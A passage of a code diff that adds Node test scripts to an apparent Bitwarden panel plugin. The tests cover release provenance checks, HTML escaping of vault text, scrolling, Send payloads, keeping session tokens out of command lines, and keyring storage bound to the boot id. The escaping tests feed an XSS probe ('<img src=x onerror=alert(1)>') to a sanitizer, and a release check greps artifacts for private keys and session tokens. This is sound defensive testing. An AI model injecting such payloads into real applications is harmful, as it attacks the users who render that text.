(release.match(/sha256sum -c SHA256SUMS/g) || []).length >= 2,
"the binary and the checksum shipped beside it are never compared at release time")
check("the helper's reported versions are checked against the panel's",
/SSH_AGENT_CONTROL_VERSION/.test(verify) && /control protocol/.test(verify),
"a protocol bump could ship to users and disable the feature at launch")
check("the shipped binary is executed, not merely compiled",
/--self-test/.test(verify), "nothing runs the bytes being released")
// A container job's default shell is the image's `sh`. The scan step uses an
// array, and sh has none: the first rehearsal of this workflow died on
// `Syntax error: "(" unexpected` after every expensive step had already
// passed.
check("the container job declares bash rather than taking the image's sh",
/defaults:\n\s*run:\n(?:\s*#[^\n]*\n)*\s*shell: bash/.test(verify),
"a bashism in a container step fails at the end of a long job")
const releaseJob = jobs.get("release") || ""
check("the release job runs the bytes outside the build container",
!/container:/.test(releaseJob) && /--self-test/.test(releaseJob),
"a binary that only works inside its own build image would still be published")
check("the attestation names the shipped binary as its subject",
/attest-build-provenance@[0-9a-f]{40}[\s\S]{0,300}?subject-path: bin\/x86_64-linux\/qs-bitwarden-ssh-agent/
.test(releaseJob),
"the provenance attestation does not bind the tracked bytes")
check("the verification command is written down where a reviewer will find it",
/gh attestation verify/.test(release),
"users are given provenance with no documented way to check it")
// -------------------------------------------------------------------------
// What the release publishes
// -------------------------------------------------------------------------
check("an SBOM is published", /cyclonedx/.test(verify), "no SBOM is produced")
check("a dependency and licence report is published",
/cargo deny[\s\S]{0,140}?\blist\b/.test(verify) && /cargo tree/.test(verify),
"users cannot see what is in the binary or under what terms")
check("debug symbols are published separately from the shipped bytes",
/only-keep-debug/.test(verify) && /\.debug/.test(verify),
"a stripped binary ships with no way to debug it at all")
// The release profile strips symbols, and a debug build links differently --
// its entry point and code layout move. Publishing the file is fine.
// Implying it maps onto the shipped bytes would not be.
check("the debug symbols say plainly that they are not the shipped bytes",
/DEBUG-SYMBOLS\.md/.test(verify) && /not[\s\S]{0,80}split of the shipped binary/i.test(verify),
"the symbol file invites address-level conclusions it cannot support")
check("release artifacts are scanned for key material before publication",
/PRIVATE KEY/.test(verify) && /BW_SESSION/.test(verify),
"nothing checks that a report or symbol file is free of secrets")
check("the release notes are the changelog section for this version",
/release-notes\.md/.test(releaseJob) && /no changelog section for/.test(releaseJob),
"a release could publish empty notes or the entire changelog")
// -------------------------------------------------------------------------
// Who has to look at it
// -------------------------------------------------------------------------
check("the release workflow requires code-owner review",
/release\.yml/.test(owners) || /^\/\.github\/\s+@/m.test(owners),
"the one workflow that can publish is not owned by anyone")
check("the binary, its build script and the agent source stay owned",
/^\/bin\/\s+@/m.test(owners) && /build-agent\.sh\s+@/m.test(owners) && /^\/agent\/\s+@/m.test(owners),
"a change to the trust path could merge without review")
if (failures.length) {
console.error(`\n${failures.length} failed, ${pass} passed\n`)
failures.forEach(f => console.error(` FAIL ${f}`))
process.exit(1)
}
console.log(`release-provenance: ${pass} passed`)
@@ -0,0 +1,124 @@
#!/usr/bin/env node
// Vault values are attacker-controlled text, and Qt renders text as HTML the
// moment it looks like markup. These tests pin both halves of the defence:
// the neutralizer used for the shared kit controls, and the `textFormat`
// every Text in the plugin's own QML must declare.
//
// node tests/rich-text.test.js
const fs = require("fs")
const path = require("path")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.plainLabel = plainLabel
exports.clipLabel = clipLabel
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// --- plainLabel ---
// Ordinary names cannot trip Qt's sniffer, so they must survive byte for byte:
// this runs on labels a user reads next to their credentials.
for (const name of ["Work", "Personal Vault", "e-mail (old)", "日本語", "", "a > b"]) {
check(`plainLabel leaves ${JSON.stringify(name)} untouched`,
Model.plainLabel(name) === name, JSON.stringify(Model.plainLabel(name)))
}
check("plainLabel maps null and undefined to an empty label",
Model.plainLabel(null) === "" && Model.plainLabel(undefined) === "",
JSON.stringify([Model.plainLabel(null), Model.plainLabel(undefined)]))
// Nothing that reaches the control may still read as a tag.
const markup = Model.plainLabel("<img src=x onerror=alert(1)>")
check("plainLabel escapes a tag out of existence",
markup === '<span style="white-space:pre-wrap">&lt;img src=x onerror=alert(1)&gt;</span>', markup)
check("plainLabel escapes bold markup",
Model.plainLabel("<b>Work</b>").indexOf("<b>") < 0, Model.plainLabel("<b>Work</b>"))
// Escaping alone is not enough: without the wrapper Qt may decide the escaped
// string is plain text and show the entities raw. The wrapper forces the
// rich-text path so "&" survives as "&".
const amp = Model.plainLabel("AT&T <holdings>")
check("plainLabel escapes ampersands and forces the rich-text path",
amp === '<span style="white-space:pre-wrap">AT&amp;T &lt;holdings&gt;</span>', amp)
check("plainLabel neutralizes a value that is already entity-encoded",
Model.plainLabel("&lt;script&gt;") === '<span style="white-space:pre-wrap">&amp;lt;script&amp;gt;</span>',
Model.plainLabel("&lt;script&gt;"))
check("plainLabel is idempotent in the sense that re-running it cannot inject",
Model.plainLabel(Model.plainLabel("<b>x</b>")).indexOf("<b>") < 0,
Model.plainLabel(Model.plainLabel("<b>x</b>")))
// --- the QML side ---
// Text defaults to Text.AutoText. Vault names, usernames, URIs, notes and Send
// names all land in one of these, so every one of them has to say otherwise --
// including the ones that only render a constant today.
for (const file of ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml", "FormPickerRow.qml", "StatusNotice.qml", "DetailField.qml", "WheelScroll.qml"]) {
const src = fs.readFileSync(path.join(__dirname, "..", file), "utf8").split("\n")
const bare = []
src.forEach((line, i) => {
if (!/(?<![A-Za-z0-9_.])Text\s*\{/.test(line)) return
const body = line.slice(line.search(/(?<![A-Za-z0-9_.])Text\s*\{/))
const declared = body.includes("textFormat:") || (src[i + 1] || "").includes("textFormat:")
if (!declared) bare.push(`${file}:${i + 1}`)
})
check(`every Text in ${file} pins textFormat`, bare.length === 0, bare.join(", "))
}
// The kit's Button builds its own Text and exposes no textFormat, so the
// strings we hand it have to arrive already neutralized.
// Every QML file that draws vault-derived text, not just the largest one.
const panel = ["Panel.qml", "SshAgentSettings.qml", "SshApprovalScreen.qml", "FormPickerRow.qml", "StatusNotice.qml", "DetailField.qml", "WheelScroll.qml"]
.map(file => fs.readFileSync(path.join(__dirname, "..", file), "utf8"))
.join("\n")
for (const binding of ["formFolderLabel()", "formOrgLabel()", "Model.clipLabel(value, 20)",
'name + " filter (" + shortcut + "): " + value']) {
const line = panel.split("\n").find(l => l.includes(binding) && /^\s*(text|tooltipText):/.test(l))
check(`the button label built from ${binding} goes through plainLabel`,
Boolean(line) && line.includes("Model.plainLabel("), String(line))
}
// Order matters, and only one order is safe. plainLabel may return a <span>
// wrapper, so clipping its output could cut a tag in half and hand the control
// the markup the wrapper exists to prevent. Clip the raw value, then neutralize.
const clipLine = panel.split("\n").find(l => l.includes("Model.clipLabel("))
check("the vault value is clipped before it is neutralized, never after",
Boolean(clipLine)
&& clipLine.indexOf("Model.plainLabel(") >= 0
&& clipLine.indexOf("Model.plainLabel(") < clipLine.indexOf("Model.clipLabel(")
&& !/Model\.clipLabel\(\s*Model\.plainLabel\(/.test(clipLine),
String(clipLine))
check("the suggestion tooltip neutralizes the window title it quotes",
/tooltipText: Model\.plainLabel\(\(pinned/.test(panel), "expected Model.plainLabel around the tooltip")
// --- clipping vault text to a width the panel can hold ---
// Ui.Button has no elide, so a folder name decides how wide a button is. The
// clip is what keeps that decision ours; the ellipsis lives inside the budget,
// so `max` is a real ceiling and not a suggestion.
check("a value already within the budget is returned untouched",
Model.clipLabel("Work", 20) === "Work", Model.clipLabel("Work", 20))
check("a value exactly at the budget is not clipped",
Model.clipLabel("12345678901234567890", 20) === "12345678901234567890",
Model.clipLabel("12345678901234567890", 20))
check("a longer value is cut to the budget, ellipsis included",
Model.clipLabel("123456789012345678901", 20) === "12345678901234567...",
Model.clipLabel("123456789012345678901", 20))
for (const [value, max] of [["Client Projects 2026", 20], ["x".repeat(400), 20],
["short", 4], ["abc", 2], ["abcd", 3]]) {
check(`clipLabel(${JSON.stringify(value).slice(0, 24)}, ${max}) never exceeds its budget`,
Model.clipLabel(value, max).length <= max, Model.clipLabel(value, max))
}
check("a missing or unusable value clips to the empty string, never to \"null\"",
Model.clipLabel(null, 20) === "" && Model.clipLabel(undefined, 20) === "",
JSON.stringify([Model.clipLabel(null, 20), Model.clipLabel(undefined, 20)]))
check("a nonsense budget still returns something drawable",
Model.clipLabel("Work", 0).length > 0 && Model.clipLabel("Work", -5).length > 0,
JSON.stringify([Model.clipLabel("Work", 0), Model.clipLabel("Work", -5)]))
// The clip runs on raw vault text, so it must not be what introduces markup.
check("clipping cannot manufacture markup that plainLabel then has to catch",
Model.plainLabel(Model.clipLabel("<img src=x onerror=alert(1)>", 20)).indexOf("<img") < 0,
Model.plainLabel(Model.clipLabel("<img src=x onerror=alert(1)>", 20)))
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,77 @@
#!/usr/bin/env node
// Wheel scrolling across the panel.
//
// Qt moves a Flickable by the platform's wheel-scroll-lines, a figure tuned for
// a full-screen document. In a panel a few hundred pixels tall that is a crawl,
// so the rate is set here instead -- and set in one place, because two views
// scrolling at different speeds is worse than both being slow.
//
// node tests/scrolling.test.js
const fs = require("fs")
const path = require("path")
const read = f => fs.existsSync(path.join(__dirname, "..", f))
? fs.readFileSync(path.join(__dirname, "..", f), "utf8") : ""
const panelSrc = read("Panel.qml")
const wheelSrc = read("WheelScroll.qml")
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
check("WheelScroll exists", wheelSrc !== "", "WheelScroll.qml is missing")
// --- the component ------------------------------------------------------------
check("it is one component rather than a handler pasted into every view",
/required property Flickable view/.test(wheelSrc) && /property real step/.test(wheelSrc),
"expected a reusable component taking the view it drives")
check("it accepts the event so the slower built-in handling does not also run",
/event\.accepted = true/.test(wheelSrc),
"an unaccepted wheel event would be handled twice, at two different rates")
check("it cannot scroll past either end",
/Math\.max\(0, Math\.min\(limit, next\)\)/.test(wheelSrc),
"expected the new position to be clamped to the content")
check("the limit accounts for the visible height, not just the content",
/contentHeight - root\.view\.height/.test(wheelSrc),
"scrolling would run past the bottom by one screen")
check("a wheel event carrying no vertical movement changes nothing",
/if \(notches === 0\) return/.test(wheelSrc),
"a horizontal wheel or a stray event must not move the view")
// --- every view uses it --------------------------------------------------------
// Each scrolling view in the panel. The list is spelled out so a view added
// later without tuned scrolling shows up as a failure rather than as an
// inconsistency somebody notices months later.
const scrollViews = [
"sendFlick", "fpFlick", "genFlick", "pinFlick", "setupFlick", "settingsFlick",
"itemsListView", "filterOptionsList", "detailFlickable", "editFlickable",
"folderPickList", "orgPickList", "collectionList",
]
for (const view of scrollViews) {
check(`${view} scrolls at the panel's rate`,
new RegExp(`WheelScroll \\{ view: ${view} \\}`).test(panelSrc),
`${view} still scrolls at the platform default`)
}
check("every scrolling view is accounted for",
(panelSrc.match(/WheelScroll \{/g) || []).length === scrollViews.length,
`${(panelSrc.match(/WheelScroll \{/g) || []).length} handlers for ${scrollViews.length} views`)
check("and every one of them has a scrollbar, so the list is the same list",
(panelSrc.match(/ScrollBar\.vertical:/g) || []).length === scrollViews.length,
"a view with a scrollbar but no wheel tuning would scroll at a different rate")
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}
@@ -0,0 +1,198 @@
#!/usr/bin/env node
// Tests for Bitwarden Send payloads, parsing and command construction.
// Field names come from a real `bw send --fullObject` response.
//
// node tests/sends.test.js
const fs = require("fs")
const path = require("path")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.buildSendPayload = buildSendPayload
exports.parseSends = parseSends
exports.sendExpiryLabel = sendExpiryLabel
exports.sendAccessLabel = sendAccessLabel
exports.createSendCommand = createSendCommand
exports.listSendsCommand = listSendsCommand
exports.deleteSendCommand = deleteSendCommand
exports.createItemCommand = createItemCommand
exports.editItemCommand = editItemCommand
exports.sessionEnvVar = sessionEnvVar
exports.statusCommand = statusCommand
exports.listCommand = listCommand
exports.syncCommand = syncCommand
exports.getItemCommand = getItemCommand
exports.getTotpCommand = getTotpCommand
exports.lockCommand = lockCommand
exports.deleteItemCommand = deleteItemCommand
exports.createFolderCommand = createFolderCommand
exports.listFoldersCommand = listFoldersCommand
exports.listOrganizationsCommand = listOrganizationsCommand
exports.terminalLoginCommand = terminalLoginCommand
exports.sessionHandoffReadCommand = sessionHandoffReadCommand
exports.extractSessionToken = extractSessionToken
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// --- the security property that motivated the env-based commands ------------
// argv is world-readable via /proc on a default Linux box, so no secret may
// ever appear in a command line.
const sendCmd = Model.createSendCommand("SESSIONTOKEN")[2]
check("send create reads its payload from the environment",
sendCmd.includes('"$QSBW_SEND"') && /\|\s*base64 -w0\s*\|/.test(sendCmd), sendCmd)
check("send create carries no payload in argv",
!sendCmd.includes("password") && !sendCmd.includes("text"), sendCmd)
const itemCmd = Model.createItemCommand({ organizationId: null }, "SESSIONTOKEN")[2]
check("item create reads its payload from the environment",
itemCmd.includes('"$QSBW_ITEM"'), itemCmd)
const editCmd = Model.editItemCommand("id-1", "SESSIONTOKEN")[2]
check("item edit reads its payload from the environment",
editCmd.includes('"$QSBW_ITEM"') && editCmd.includes("'id-1'"), editCmd)
// --- payload ---------------------------------------------------------------
const p = Model.buildSendPayload("Name", "secret", true, 3, 5, "pw", "note")
check("payload sets the text and its hidden flag",
p.text.text === "secret" && p.text.hidden === true, JSON.stringify(p.text))
check("deletionDate is days in the future, as an ISO string",
Math.abs(Date.parse(p.deletionDate) - (Date.now() + 3 * 86400000)) < 60000, p.deletionDate)
check("maxAccessCount of 0 means unlimited, sent as null",
Model.buildSendPayload("n", "t", false, 7, 0, "", "").maxAccessCount === null, "expected null")
check("an empty password is sent as null, not an empty string",
Model.buildSendPayload("n", "t", false, 7, 0, "", "").password === null, "expected null")
check("a blank name falls back rather than creating an unnamed Send",
Model.buildSendPayload(" ", "t", false, 7, 0, "", "").name === "Untitled Send",
Model.buildSendPayload(" ", "t", false, 7, 0, "", "").name)
for (const [days, lo, hi] of [[0, 1, 31], [999, 1, 31], [-5, 1, 31]]) {
const got = (Date.parse(Model.buildSendPayload("n", "t", false, days, 0, "", "").deletionDate) - Date.now()) / 86400000
check(`deleteInDays=${days} clamps into [${lo}, ${hi}]`, got > lo - 1 && got < hi + 1, `got ~${got.toFixed(1)} days`)
}
// --- parsing (shape taken from a real response) -----------------------------
const listed = Model.parseSends(JSON.stringify([
{ id: "b", name: "Later", type: 0, accessUrl: "u2", accessCount: 1, maxAccessCount: 3,
deletionDate: "2026-09-01T00:00:00Z", passwordSet: false, text: { text: "x", hidden: false } },
{ id: "a", name: "Sooner", type: 1, accessUrl: "u1", accessCount: 0, maxAccessCount: null,
deletionDate: "2026-08-22T00:00:00Z", passwordSet: true, file: { fileName: "f.pdf" } },
]))
check("sends are ordered by how soon they vanish",
listed.map(s => s.id).join(",") === "a,b", listed.map(s => s.id).join(","))
check("type 1 is recognised as a file Send",
listed[0].isFile === true && listed[0].fileName === "f.pdf", JSON.stringify(listed[0]))
check("passwordSet is carried through as a boolean, and no password is exposed",
listed[0].passwordSet === true && !("password" in listed[0]), JSON.stringify(listed[0]))
check("malformed JSON yields an empty list",
Model.parseSends("{{").length === 0 && Model.parseSends("").length === 0, "expected []")
// --- labels -----------------------------------------------------------------
const at = t => Date.parse(t)
const mk = d => ({ deletionDate: d })
check("a past deletion date reads as expired",
Model.sendExpiryLabel(mk("2026-08-20T00:00:00Z"), at("2026-08-21T00:00:00Z")) === "expired", "expected expired")
check("hours are used under a day",
Model.sendExpiryLabel(mk("2026-08-21T05:00:00Z"), at("2026-08-21T00:00:00Z")) === "in 5 hours", "expected 'in 5 hours'")
check("singular day is not pluralised",
Model.sendExpiryLabel(mk("2026-08-22T00:00:00Z"), at("2026-08-21T00:00:00Z")) === "in 1 day", "expected 'in 1 day'")
check("a missing deletion date yields no label",
Model.sendExpiryLabel({}, Date.now()) === "", "expected empty")
check("unlimited access omits the maximum",
Model.sendAccessLabel({ accessCount: 2, maxAccessCount: null }) === "2 views", "expected '2 views'")
check("a capped Send shows the maximum",
Model.sendAccessLabel({ accessCount: 2, maxAccessCount: 5 }) === "2 of 5 views", "expected '2 of 5 views'")
// --- no bw command may carry the session token in argv ----------------------
// /proc/<pid>/cmdline is world-readable on a default Linux install, and the
// token grants full access to the unlocked vault. It goes in BW_SESSION.
check("the session env var is BW_SESSION, which bw reads natively",
Model.sessionEnvVar() === "BW_SESSION", Model.sessionEnvVar())
const builders = [
["statusCommand", () => Model.statusCommand()],
["listCommand", () => Model.listCommand()],
["listFoldersCommand", () => Model.listFoldersCommand()],
["listOrganizationsCommand", () => Model.listOrganizationsCommand()],
["listSendsCommand", () => Model.listSendsCommand()],
["syncCommand", () => Model.syncCommand()],
["lockCommand", () => Model.lockCommand()],
["getItemCommand", () => Model.getItemCommand("id")],
["getTotpCommand", () => Model.getTotpCommand("id")],
["deleteItemCommand", () => Model.deleteItemCommand("id")],
["deleteSendCommand", () => Model.deleteSendCommand("id")],
["createFolderCommand", () => Model.createFolderCommand("f")],
["createItemCommand", () => Model.createItemCommand({ organizationId: null })],
["editItemCommand", () => Model.editItemCommand("id")],
["createSendCommand", () => Model.createSendCommand()],
]
for (const [name, build] of builders) {
const argv = build().join(" ")
check(`${name} passes no --session flag`, !argv.includes("--session"), argv)
}
// --- terminal login handoff -------------------------------------------------
const login = Model.terminalLoginCommand("login")[2]
const unlock = Model.terminalLoginCommand("unlock")[2]
const euLogin = Model.terminalLoginCommand("login", "https://vault.bitwarden.eu")[2]
check("terminal login runs in a terminal", login.includes("omarchy launch terminal"), login.slice(0, 80))
check("it falls back to a second terminal if the first is unavailable",
login.includes("alacritty"), login.slice(0, 80))
// --raw prints only the session key on stdout while prompts stay on stderr,
// which is what lets the key be captured without breaking the interactive login.
check("it captures the key with --raw", login.includes("--raw"), login.slice(0, 120))
// The panel already knows which state it is in, so the terminal does not spend
// a `bw status` round trip (~3.3s here) working it out before prompting.
check("login mode runs bw login", login.includes("bw login --raw") && !login.includes("bw unlock"), login.slice(0, 200))
check("unlock mode runs bw unlock", unlock.includes("bw unlock --raw") && !unlock.includes("bw login"), unlock.slice(0, 200))
check("neither mode probes with bw status",
!login.includes("bw status") && !unlock.includes("bw status"), "expected no status probe")
check("an unknown mode falls back to login",
Model.terminalLoginCommand("")[2].includes("bw login --raw"), "expected login")
check("terminal login configures an explicitly selected region before authenticating",
euLogin.includes("bw config server")
&& euLogin.includes("https://vault.bitwarden.eu")
&& euLogin.indexOf("bw config server") < euLogin.indexOf("bw login --raw"),
euLogin.slice(0, 300))
// Only the method name crosses the IPC boundary; the key never does.
check("a successful login reopens the panel",
login.includes("omarchy-shell io.github.elevate08.qs-bitwarden-cli open"), login.slice(0, 300))
check("the session key is not passed over IPC",
!login.includes("open $f") && !login.includes("open \"$f\""), login.slice(0, 300))
// The inner script appears twice -- once for the terminal, once for the
// alacritty fallback -- so count pauses against failure branches rather than
// assuming a single occurrence.
check("the user is only made to press a key when the login failed",
login.split("read -p").length === login.split("Not completed").length,
`${login.split("read -p").length - 1} pauses vs ${login.split("Not completed").length - 1} failure branches`)
check("a successful login closes the terminal on its own",
login.includes("Returning to the Bitwarden panel") && login.includes("sleep 1"),
"expected the success branch to close itself")
// The key is a secret at rest: tmpfs, user-only, gone when the session ends.
check("the handoff lives in XDG_RUNTIME_DIR, not on disk",
login.includes("XDG_RUNTIME_DIR"), login.slice(0, 120))
check("the handoff is created with a restrictive umask",
login.includes("umask 077") && login.includes("chmod 700"), login.slice(0, 200))
check("an incomplete login leaves nothing behind",
login.includes('rm -f'), login.slice(0, 300))
const read = Model.sessionHandoffReadCommand(true)[2]
check("the handoff is read once and removed with a byte limit",
read.includes("head -c") && read.includes("rm -f"), read)
check("an absent or empty handoff yields nothing",
read.includes("-s "), read)
// The panel parses whatever the file holds through the same extractor it uses
// for unlock output, so a stray newline or an `export BW_SESSION=` line is fine.
check("a bare key is extracted intact",
Model.extractSessionToken("abcdefghijklmnopqrstuvwxyz0123456789==") === "abcdefghijklmnopqrstuvwxyz0123456789==",
Model.extractSessionToken("abcdefghijklmnopqrstuvwxyz0123456789=="))
check("an export line is unwrapped",
Model.extractSessionToken('export BW_SESSION="tok3n-value-that-is-long-enough=="') === "tok3n-value-that-is-long-enough==",
Model.extractSessionToken('export BW_SESSION="tok3n-value-that-is-long-enough=="'))
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,119 @@
#!/usr/bin/env node
// The remembered session must not survive the machine it was minted on.
//
// These run the real shell scripts the panel executes, against a stand-in
// secret-tool, so what is checked is the behaviour and not a string.
//
// node tests/session-boot.test.js
const fs = require("fs")
const os = require("os")
const path = require("path")
const { execFileSync } = require("child_process")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.keyringStoreCommand = keyringStoreCommand
exports.keyringLookupCommand = keyringLookupCommand
exports.keyringClearCommand = keyringClearCommand
exports.keyringSecretEnvVar = keyringSecretEnvVar
exports.bootIdPath = bootIdPath
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// A stand-in for libsecret. Keeps the stored blob in a file, records every
// call, and can be told to refuse the session collection the way a secret
// service without one would.
const stub = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-keyring-"))
fs.writeFileSync(path.join(stub, "secret-tool"), `#!/usr/bin/env bash
set -uo pipefail
echo "$*" >> "$STUB/calls"
cmd="\${1:-}"; shift || true
collection=""
for a in "$@"; do case "$a" in --collection=*) collection="\${a#--collection=}" ;; esac; done
case "$cmd" in
store)
if [ "\${STUB_NO_SESSION_COLLECTION:-}" = "1" ] && [ "$collection" = "session" ]; then
cat >/dev/null; exit 1
fi
cat > "$STUB/value"; printf '%s' "$collection" > "$STUB/collection"; exit 0 ;;
lookup) [ -s "$STUB/value" ] || exit 1; cat "$STUB/value"; exit 0 ;;
clear) rm -f "$STUB/value"; exit 0 ;;
esac
exit 1
`)
fs.chmodSync(path.join(stub, "secret-tool"), 0o755)
const TOKEN = "not-a-real-session-token"
const bootId = fs.readFileSync(Model.bootIdPath(), "utf8").trim()
const reset = () => {
for (const f of ["value", "collection", "calls"]) fs.rmSync(path.join(stub, f), { force: true })
}
const run = (command, extraEnv) => {
const env = Object.assign({}, process.env, { PATH: `${stub}:${process.env.PATH}`, STUB: stub }, extraEnv || {})
return execFileSync(command[0], command.slice(1), { env, encoding: "utf8" })
}
const stored = () => fs.existsSync(path.join(stub, "value"))
? fs.readFileSync(path.join(stub, "value"), "utf8") : null
const calls = () => fs.existsSync(path.join(stub, "calls"))
? fs.readFileSync(path.join(stub, "calls"), "utf8") : ""
const secretEnv = { [Model.keyringSecretEnvVar()]: TOKEN }
// --- storing ---
reset()
run(Model.keyringStoreCommand(), secretEnv)
check("the session is stored in the memory-only session collection",
fs.readFileSync(path.join(stub, "collection"), "utf8") === "session",
fs.readFileSync(path.join(stub, "collection"), "utf8"))
check("the stored blob carries the boot id that minted the session",
stored() === `${bootId} ${TOKEN}`, JSON.stringify(stored()))
check("the token still never reaches a command line",
!Model.keyringStoreCommand().join(" ").includes(TOKEN) && !calls().includes(TOKEN),
Model.keyringStoreCommand().join(" ") + " || " + calls())
// A secret service with no session collection must not cost the user the
// setting entirely -- the boot id is what enforces the lock either way.
reset()
run(Model.keyringStoreCommand(), Object.assign({ STUB_NO_SESSION_COLLECTION: "1" }, secretEnv))
check("a service without a session collection falls back to the default one",
fs.readFileSync(path.join(stub, "collection"), "utf8") === "" && stored() === `${bootId} ${TOKEN}`,
JSON.stringify(stored()))
// --- looking up on the same boot ---
reset()
run(Model.keyringStoreCommand(), secretEnv)
check("a session from this boot is handed back, boot id stripped",
run(Model.keyringLookupCommand()) === TOKEN, JSON.stringify(run(Model.keyringLookupCommand())))
check("a usable session is left in the keyring",
stored() !== null, "expected the entry to survive a lookup")
// --- looking up after a reboot ---
reset()
fs.writeFileSync(path.join(stub, "value"), `11111111-2222-3333-4444-555555555555 ${TOKEN}`)
check("a session from another boot is not handed back",
run(Model.keyringLookupCommand()) === "", JSON.stringify(run(Model.keyringLookupCommand())))
check("a session from another boot is cleared out of the keyring",
stored() === null, JSON.stringify(stored()))
// An entry written before the boot id existed has no provenance at all, so it
// gets the same treatment rather than the benefit of the doubt.
reset()
fs.writeFileSync(path.join(stub, "value"), TOKEN)
check("a bare pre-boot-id entry is refused and cleared",
run(Model.keyringLookupCommand()) === "" && stored() === null, JSON.stringify(stored()))
// --- nothing to find ---
reset()
check("an empty keyring is not an error, so the panel falls through to bw status",
run(Model.keyringLookupCommand()) === "", "expected empty output and exit 0")
fs.rmSync(stub, { recursive: true, force: true })
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,267 @@
#!/usr/bin/env node
// The settings screen's structure -- what is pinned, what scrolls, how its
// sections are drawn -- and the one invariant that is panel-wide rather than
// settings-only: every scrolling view keeps its content clear of its own
// scrollbar.
//
// node tests/settings-screen.test.js
const fs = require("fs")
const path = require("path")
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
// The settings screen, from its wrapper Column to the end of the Flickable.
const screenAt = panelSrc.indexOf("id: settingsScreen")
const flickAt = panelSrc.indexOf("id: settingsFlick")
const colAt = panelSrc.indexOf("id: settingsCol")
const screen = screenAt < 0 ? "" : panelSrc.slice(screenAt, panelSrc.indexOf("SCREEN 1", screenAt))
const shieldAt = panelSrc.indexOf("id: shieldIconComp")
const statusBarAt = panelSrc.indexOf("// Status Bar Button", shieldAt)
const shield = shieldAt < 0 ? "" : panelSrc.slice(shieldAt, statusBarAt)
// --- colorized menu-bar icon ------------------------------------------------
check("colorized icon reads the persisted boolean setting",
/readonly property bool colorizeIcon: Model\.boolSetting\("colorizeIcon", setting\("colorizeIcon", false\)\)/.test(panelSrc),
"expected a false-safe colorizeIcon setting property")
check("colorized icon uses the theme accent only when enabled",
/color:\s*root\.colorizeIcon \? Color\.accent : \(bar \? bar\.barForeground : Color\.foreground\)/.test(shield),
"expected the primary shield to select Color.accent or its existing foreground")
check("colorized icon leaves status badges independent",
shield.includes("color: bar ? bar.urgent : Color.urgent")
&& shield.includes("color: bar ? bar.barForeground : Color.foreground"),
"expected urgent and locked badge colors to remain independently bound")
check("panel-open indicator keeps Omarchy's standard width",
!panelSrc.includes("openPanelIndicatorWidth"),
"expected no plugin-specific width override for the panel-open indicator")
check("custom shield corrects its painted side bearings",
shield.includes("id: shieldGlyphMetrics")
&& shield.includes("shieldGlyphMetrics.tightBoundingRect")
&& shield.includes("anchors.horizontalCenterOffset"),
"expected corrected painted side bearings on the shield")
// The centering above is what aligns the glyph with the panel-open indicator;
// the renderer is not part of it -- both put the painted center on the same
// pixel at scale 1.3333. QtRendering additionally drew saturated colour along
// the glyph edges, which no other icon in the bar has, so the shield renders
// the way the rest of Omarchy does.
check("shield renders the way the rest of the bar does",
shield.includes("renderType: Text.NativeRendering")
&& !shield.includes("renderType: Text.QtRendering"),
"expected the shield to use Text.NativeRendering, as Omarchy's own glyphs do")
check("the settings screen has a wrapper outside the scroll area", screenAt >= 0,
"expected a settingsScreen Column")
// --- what must not scroll away -----------------------------------------------
check("the way out is pinned, not scrolled",
screenAt < flickAt && screen.indexOf('text: "Back (Esc)"') < screen.indexOf("id: settingsFlick"),
"the Back button must sit above the Flickable, not inside settingsCol")
check("the pinned section indicator is also above the scroll area",
screen.indexOf("id: stickySection") >= 0
&& screen.indexOf("id: stickySection") < screen.indexOf("id: settingsFlick"),
"stickySection must be outside the Flickable")
check("the scrolling column no longer draws its own Back button",
panelSrc.slice(colAt).indexOf('text: "Back (Esc)"') < 0
|| panelSrc.slice(colAt).indexOf('text: "Back (Esc)"') > panelSrc.slice(colAt).indexOf("SCREEN 1"),
"settingsCol still contains a Back button")
// The section name goes left, the way out goes right.
check("the section indicator anchors left and the exit anchors right",
/id: stickySection[\s\S]{0,200}anchors\.left: parent\.left/.test(screen)
&& screen.indexOf("anchors.right: parent.right") < screen.indexOf('text: "Back (Esc)"')
&& screen.indexOf("anchors.right: parent.right") > screen.indexOf("id: stickySection"),
"expected section on the left, Back on the right")
// --- the pinned indicator tracks the scroll ----------------------------------
check("the indicator is recomputed as the view scrolls",
/onContentYChanged: root\.updateSettingsSticky\(\)/.test(panelSrc),
"scrolling must update which section the bar names")
check("and when folding changes what is in the list",
/onContentHeightChanged: Qt\.callLater\(root\.updateSettingsSticky\)/.test(panelSrc),
"a fold changes contentHeight and must re-run the check after layout")
check("the indicator is held rather than bound",
/property var settingsStickyEntry: null/.test(panelSrc),
"it depends on delegate geometry, which a binding cannot read without fighting layout")
// The bar names the section the view is inside, including at rest -- an empty
// bar on the one position everybody starts from is worse than a redundant one.
// Duplication is prevented at the other end instead: the in-list heading of
// the section the bar names is drawn transparent.
check("the bar names a section from the top of the list, before any scrolling",
